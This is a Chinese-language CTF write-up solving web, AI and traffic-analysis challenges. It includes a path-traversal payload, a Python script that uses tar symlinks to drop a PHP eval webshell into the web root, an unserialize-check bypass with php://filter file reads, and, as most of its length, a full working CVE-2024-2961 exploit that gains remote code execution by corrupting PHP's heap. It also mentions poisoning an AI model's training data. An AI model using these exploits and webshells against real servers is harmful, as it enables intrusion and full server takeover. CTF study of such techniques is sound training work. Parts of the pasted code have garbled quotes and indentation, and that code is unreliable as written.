[TOC]

WEB

文曲签学

image-20250914153316082

打开界面是一个词典。

长按 FN 可以进入调试模式,能进行命令输入

image-20250914153418135

image-20250914153433298

我们查看一下笔记列表,有一个 hint

image-20250914153512577

image-20250914154435326

我们关注公众号就能拿到提示

9bac13771ed3fe106877f5d972652dad

然后我们构造 payload:

1
# read /....//....//....//....//flag

image-20250914154856592

flag{82831f15-1f5e-48d6-8cd2-e53f318bfe2e}

EZ_upload

题目隐藏知识

✅ 关键点:tar 解压符号链接时,默认会保留符号链接(不会跟随链接写入)

✅ 关键点:tar 默认在解压文件时,如果路径中包含符号链接目录,会“跟随”符号链接,把文件写入到符号链接指向的真实目录

这个时候就可以利用 tar 解包 + 符号链接 来修改文件保存位置.(符号链接类似快捷方式)

打开环境是个文件上传界面

我们随便上传一些发现都能上传

image-20250914155055662

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
$uploadDirectory = '/tmp/';

if ($file['error'] !== UPLOAD_ERR_OK) {
echo '文件上传失败。';
return;
}

$filename = basename($file['name']);
$filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

if (empty($filename)) {
echo '文件名不符合要求。';
return;
}

$destination = $uploadDirectory . $filename;
if (move_uploaded_file($file['tmp_name'], $destination)) {
exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
echo $destination;
} else {
echo '文件移动失败。';
}
}

handleFileUpload($_FILES['file']);
?>

分析一下,可以直到要上传 tar 文件,这样就能解压进行漏洞利用

贴上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import tarfile
import os
from io import BytesIO

# --- 配置 ---
# Webshell 的内容
webshell_content = b'<?php @eval($_POST["cmd"]); ?>'
# Webshell 的文件名
webshell_name = "shell.php"

# 第一个包要创建的符号链接的名字(在 /tmp 目录下)
symlink_name = "config-err-txQM2Y"
# 符号链接要指向的目标目录
target_dir = "/var/www/html"

# --- 脚本开始 ---

# 1. 创建第一个 tar 包 (symlink.tar),用于建立符号链接
print(f"正在创建 symlink.tar...")
print(f"这个包将在 /tmp 目录下创建一个符号链接 '{symlink_name}' 指向 '{target_dir}'")

with tarfile.open("symlink.tar", "w") as tar:
# 创建一个 TarInfo 对象来定义符号链接的元数据
symlink_info = tarfile.TarInfo(name=symlink_name)
symlink_info.type = tarfile.SYMTYPE # 类型设置为符号链接
symlink_info.linkname = target_dir # 链接的目标路径
tar.addfile(symlink_info)

print("symlink.tar 创建成功!")
print("-" * 30)


# 2. 创建第二个 tar 包 (webshell.tar),用于写入 Webshell
print(f"正在创建 webshell.tar...")
# Webshell 在包内的路径将通过符号链接来写入
path_in_tar = os.path.join(symlink_name, webshell_name)
print(f"这个包将把 '{webshell_name}' 写入到路径 '{path_in_tar}'")

with tarfile.open("webshell.tar", "w") as tar:
# 创建一个 TarInfo 对象来定义文件的元数据
file_info = tarfile.TarInfo(name=path_in_tar)
file_info.size = len(webshell_content)
# 使用 BytesIO 将内存中的 Webshell 内容添加到 tar 包中
tar.addfile(file_info, BytesIO(webshell_content))

print("webshell.tar 创建成功!")
print("-" * 30)
print("请按顺序上传这两个文件。")

这个脚本会创建两个文件,一个是 link.tar,用于将目录连接成/var/www/html

一个是 webshell.tar,是一句话木马,用于蚁剑连接

step1:

  • 在 /tmp 目录下创建一个符号链接文件 my_link

  • 该符号链接指向目标 Web 目录:/var/www/html

  • 解压后,/tmp/my_link 就等价于 /var/www/html

step2:

  • 创建 webshell 文件的 tar 包

  • 路径设置为 my_link/myshell.php

  • 当服务器在/tmp 解压时:会尝试把文件写入 /tmp/my_link/myshell.php

  • 由于 my_link 是指向 /var/www/html 的符号链接,实际写入位置是 → /var/www/html/myshell.php

实现了写入 webshell 的操作

image-20250914155719713

然后依次上传这两个文件,之后就能在目录下创建一个 shell.php 文件

然后用蚁剑连接,在根目录下找到 flag

image-20250914155901957

flag{cff94fbd-a2ec-488e-863a-fea756993ec9}

SeRce

image-20250914151054196

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
if(serialize(unserialize($exp)) != $exp){
$data = file_get_contents($_POST['filetoread']);
echo "File Contents: $data";
}
}

代码审计一下,GET 传入 exp,POST 传入 filetoread。

那么就需要利用 file_get_contents()函数来进行文件读取。

我们先试试构造 payload:

1
2
?exp=a:1:{i:0;d:0.12345678901234567890;}
filetoread=php://filter/read=convert.base64-encode/resource=/flag

发现读取后是空的,可能是文件名或者有其他路径?

经过一番尝试,发现有一个/readflag 的文件

image-20250914152557217

盲猜这个文件肯定要用上,先放着

再想想其他办法

搜一下发现了一个有趣的漏洞——CVE-2024-2961

image-20250914152050386

然后网上下载exp,进行一点发包修改:

image-20250920221832895

由于脚本较长,放在文章最后。

使用如下命令将 /readflag 转移至 /tmp/flag:

1
python exp.py 环境 url "/readflag > /tmp/flag"

image-20250914152936139

然后payload:

1
2
?exp = a: 1:{i: 0; d: 0.12345678901234567890;}
filetoread = php://filter/read = convert.base64-encode/resource =/tmp/flag

image-20250914153045476

base64解码拿到flag

flag{9eab9e36-fc3d-4d0c-84ca-1d57a861dfac}

AI

easy_poison

image-20250914160033730

根据提示,我们要使用文本数据投毒攻击

image-20250914160119514

也就是我们需要上传一个数据模型,来污染这个模型

让ai帮我们写一个模型来进行攻击

image-20250914160231556

image-20250914160341245

flag{3e7d92c4-5a8f-4d2b-a9c7-816253940718}

大型语言模型数据投毒

下载附件解压,使用工具

image-20250914162643850

解出来三个文件

image-20250914162738949

根据后缀猜测,das可能存放的数据

打开查找flag

image-20250914162856450

flag{po2iso3ning_su4cces5sfully_triggered}

数据安全

RealCheckIn-1

将流量包放进wireshark中,过滤http

image-20250914160809085

查看http流,手工肉眼审计,发现写入的第一个flag

{0FEAB6B4-94D2-4948-8CDC-F56A057F18F9}

1
ZmxhZ3tkOTg4ZWI1ZmNkYTE0ODhmYTNkMzAyNGE4NzgwYmJjZH0 =

base64解码得到flag:

flag{d988eb5fcda1488fa3d3024a8780bbcd}

RealCheckIn-3

仔细审计流量,在后面发现大量冰蝎流量,以及shrio漏洞利用特征

image-20250914161533604

解码得到是个命令:

image-20250914161639096

找找后面的命令,找到了写入flag的内容

image-20250914161727166

image-20250914161749277

90d1b4d15f7113a53996b0968b9da80d75d494f553758768ed769b0e237c6632f71b98ae2b04

由于是冰蝎流量,所以需要密钥

这个密钥是supernov@(key是在解密流量包里,反正我没找到,据说用net-a付费版能梭出来)

依次进行hex解密,rc4解密:

image-20250920224738617

flag{eef06dfa449144bb91147644effc0acf}

脚本

SeRce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from __future__ import annotations

import base64
import zlib
import re

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
"""A helper class to send the payload and download files.

The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.

The code here serves as an example that attacks a page that looks like:

```php
<?php

$data = file_get_contents($_POST['file']);
echo "File contents: $data";
Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
    self.url = url
    self.session = Session()

def send(self, path: str) -> Response:
    """Sends given `path` to the HTTP server. Returns the response.
    """
    return self.session.post(self.url+r"?exp=a:1:{i:0;d:1.0;}", data={"filetoread": path})

def download(self, path: str) -> bytes:
    """Returns the contents of a remote file.
    """
    path = f"php://filter/convert.base64-encode/resource={path}"
    response = self.send(path)
    print(response.text)
    match = re.search(r"File Contents: (.*)", response.text, flags=re.S)
    data = match.group(1).strip()
    return base64.decode(data)

@entry
@arg(“url”, “Target URL”)
@arg(“command”, “Command to run on the system; limited to 0x140 bytes”)
@arg(“sleep”, “Time to sleep to assert that the exploit worked. By default, 1.”)
@arg(“heap”, “Address of the main zend_mm_heap structure.”)
@arg(
“pad”,
“Number of 0x100 chunks to pad with. If the website makes a lot of heap "
“operations with this size, increase this. Defaults to 20.”,
)
@dataclass
class Exploit:
“”“CNEXT exploit: RCE using a file read primitive in PHP.””"

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
    self.remote = Remote(self.url)
    self.log = logger("EXPLOIT")
    self.info = {}
    self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
    """Checks whether the target is reachable and properly allows for the various
    wrappers and filters that the exploit needs.
    """

    def safe_download(path: str) -> bytes:
        try:
            return self.remote.download(path)
        except ConnectionError:
            failure("Target not [b]reachable[/] ?")

    def check_token(text: str, path: str) -> bool:
        result = safe_download(path)
        return text.encode() == result

    text = tf.random.string(50).encode()
    base64 = b64(text, misalign=True).decode()
    path = f"data:text/plain;base64,{base64}"

    result = safe_download(path)

    if text not in result:
        msg_failure("Remote.download did not return the test string")
        print("--------------------")
        print(f"Expected test string: {text}")
        print(f"Got: {result}")
        print("--------------------")
        failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

    msg_info("The [i]data://[/] wrapper works")

    text = tf.random.string(50)
    base64 = b64(text.encode(), misalign=True).decode()
    path = f"php://filter//resource=data:text/plain;base64,{base64}"
    if not check_token(text, path):
        failure("The [i]php://filter/[/] wrapper does not work")

    msg_info("The [i]php://filter/[/] wrapper works")

    text = tf.random.string(50)
    base64 = b64(compress(text.encode()), misalign=True).decode()
    path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

    if not check_token(text, path):
        failure("The [i]zlib[/] extension is not enabled")

    msg_info("The [i]zlib[/] extension is enabled")

    msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
    with msg_status(f"Downloading [i]{path}[/]..."):
        return self.remote.download(path)

def get_regions(self) -> list[Region]:
    """Obtains the memory regions of the PHP process by querying /proc/self/maps."""
    maps = self.get_file("/proc/self/maps")
    maps = maps.decode()
    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in table.split(maps, strip=True):
        if match := PATTERN.match(region):
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4)
            if "/" in path or "[" in path:
                path = path.rsplit(" ", 1)[-1]
            else:
                path = ""
            current = Region(start, stop, permissions, path)
            regions.append(current)
        else:
            print(maps)
            failure("Unable to parse memory mappings")

    self.log.info(f"Got {len(regions)} memory regions")

    return regions

def get_symbols_and_addresses(self) -> None:
    """Obtains useful symbols and addresses from the file read primitive."""
    regions = self.get_regions()

    LIBC_FILE = "/dev/shm/cnext-libc"

    # PHP's heap

    self.info["heap"] = self.heap or self.find_main_heap(regions)

    # Libc

    libc = self._get_region(regions, "libc-", "libc.so")

    self.download_file(libc.path, LIBC_FILE)

    self.info["libc"] = ELF(LIBC_FILE, checksec=False)
    self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
    """Returns the first region whose name matches one of the given names."""
    for region in regions:
        if any(name in region.path for name in names):
            break
    else:
        failure("Unable to locate region")

    return region

def download_file(self, remote_path: str, local_path: str) -> None:
    """Downloads `remote_path` to `local_path`"""
    data = self.get_file(remote_path)
    Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:
    # Any anonymous RW region with a size superior to the base heap size is a
    # candidate. The heap is at the bottom of the region.
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE - 1) == 0
        and region.path in ("", "[anon:zend_alloc]")
    ]

    if not heaps:
        failure("Unable to find PHP's main heap in memory")

    first = heaps[0]

    if len(heaps) > 1:
        heaps = ", ".join(map(hex, heaps))
        msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
    else:
        msg_info(f"Using [i]{hex(first)}[/] as heap")

    return first

def run(self) -> None:
    self.check_vulnerable()
    self.get_symbols_and_addresses()
    self.exploit()

def build_exploit_path(self) -> str:
    """On each step of the exploit, a filter will process each chunk one after the
    other. Processing generally involves making some kind of operation either
    on the chunk or in a destination chunk of the same size. Each operation is
    applied on every single chunk; you cannot make PHP apply iconv on the first 10
    chunks and leave the rest in place. That's where the difficulties come from.

    Keep in mind that we know the address of the main heap, and the libraries.
    ASLR/PIE do not matter here.

    The idea is to use the bug to make the freelist for chunks of size 0x100 point
    lower. For instance, we have the following free list:

    ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

    By triggering the bug from chunk ..900, we get:

    ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

    That's step 3.

    Now, in order to control the free list, and make it point whereever we want,
    we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
    we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
    That's step 2.

    Now, if we were to perform step2 an then step3 without anything else, we'd have
    a problem: after step2 has been processed, the free list goes bottom-up, like:

    0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

    We need to go the other way around. That's why we have step 1: it just allocates
    chunks. When they get freed, they reverse the free list. Now step2 allocates in
    reverse order, and therefore after step2, chunks are in the correct order.

    Another problem comes up.

    To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
    Since step2 creates chunks that contain pointers and pointers are generally not
    UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
    To avoid this, we put the chunks in step2 at the very end of the chain, and
    prefix them with `0\n`. When dechunked (right before the iconv), they will
    "disappear" from the chain, preserving them from the character set conversion
    and saving us from an unwanted processing error that would stop the processing
    chain.

    After step3 we have a corrupted freelist with an arbitrary pointer into it. We
    don't know the precise layout of the heap, but we know that at the top of the
    heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
    Its free_slot[] array contains a pointer to each free list. By overwriting it,
    we can make PHP allocate chunks whereever we want. In addition, its custom_heap
    field contains pointers to hook functions for emalloc, efree, and erealloc
    (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
    then overwrite the use_custom_heap flag to make PHP use these function pointers
    instead. We can now do our favorite CTF technique and get a call to
    system(<chunk>).
    We make sure that the "system" command kills the current process to avoid other
    system() calls with random chunk data, leading to undefined behaviour.

    The pad blocks just "pad" our allocations so that even if the heap of the
    process is in a random state, we still get contiguous, in order chunks for our
    exploit.

    Therefore, the whole process described here CANNOT crash. Everything falls
    perfectly in place, and nothing can get in the middle of our allocations.
    """

    LIBC = self.info["libc"]
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

    ADDR_HEAP = self.info["heap"]
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)

    # This chunk will eventually overwrite mm_heap->free_slot
    # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
    step4_pwn = ptr_bucket(
        0x200000,
        0,
        # free_slot
        0,
        0,
        ADDR_CUSTOM_HEAP,  # 0x18
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        ADDR_HEAP,  # 0x140
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=CS,
    )

    step4_custom_heap = ptr_bucket(
        ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    COMMAND = self.command
    COMMAND = f"kill -9 $PPID; {COMMAND}"
    if self.sleep:
        COMMAND = f"sleep {self.sleep}; {COMMAND}"
    COMMAND = COMMAND.encode() + b"\x00"

    assert (
            len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
    )

    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"

    filters = [
        # Create buckets
        "zlib.inflate",
        "zlib.inflate",

        # Step 0: Setup heap
        "dechunk",
        "convert.iconv.L1.L1",

        # Step 1: Reverse FL order
        "dechunk",
        "convert.iconv.L1.L1",

        # Step 2: Put fake pointer and make FL order back to normal
        "dechunk",
        "convert.iconv.L1.L1",

        # Step 3: Trigger overflow
        "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",

        # Step 4: Allocate at arbitrary address and change zend_mm_heap
        "convert.quoted-printable-decode",
        "convert.iconv.L1.L1",
    ]
    filters = "|".join(filters)
    path = f"php://filter/read={filters}/resource={resource}"

    return path

@inform("Triggering...")
def exploit(self) -> None:
    path = self.build_exploit_path()
    start = time.time()

    try:
        self.remote.send(path)
    except (ConnectionError, ChunkedEncodingError):
        pass

    msg_print()

    if not self.sleep:
        msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
    elif start + self.sleep <= time.time():
        msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
    else:
        # Wrong heap, maybe? If the exploited suggested others, use them!
        msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

    msg_print()

def compress(data) -> bytes:
“”“Returns data suitable for zlib.inflate.
“””
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]

def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith(“=”):
raise ValueError(f"Misaligned: {data}")
return payload.encode()

def compressed_bucket(data: bytes) -> bytes:
“”“Returns a chunk of size 0x8000 that, when dechunked, returns the data.”“”
return chunked_chunk(data, 0x8000)

def qpe(data: bytes) -> bytes:
“”“Emulates quoted-printable-encode.
“””
return “”.join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size=None) -> bytes:
“”“Creates a 0x8000 chunk that reveals pointers after every step has been ran.”“”
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket

def chunked_chunk(data: bytes, size: int = None) -> bytes:
“”“Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size size.
For instance, ABCD with size 10 becomes: 0004\nABCD\n.
“””
# The caller does not care about the size: let’s just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}“.rjust(size - keep, “0”)
return size.encode() + b”\n" + data + b"\n"

@dataclass
class Region:
“”“A memory region.”“”

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
    return self.stop - self.start

Exploit()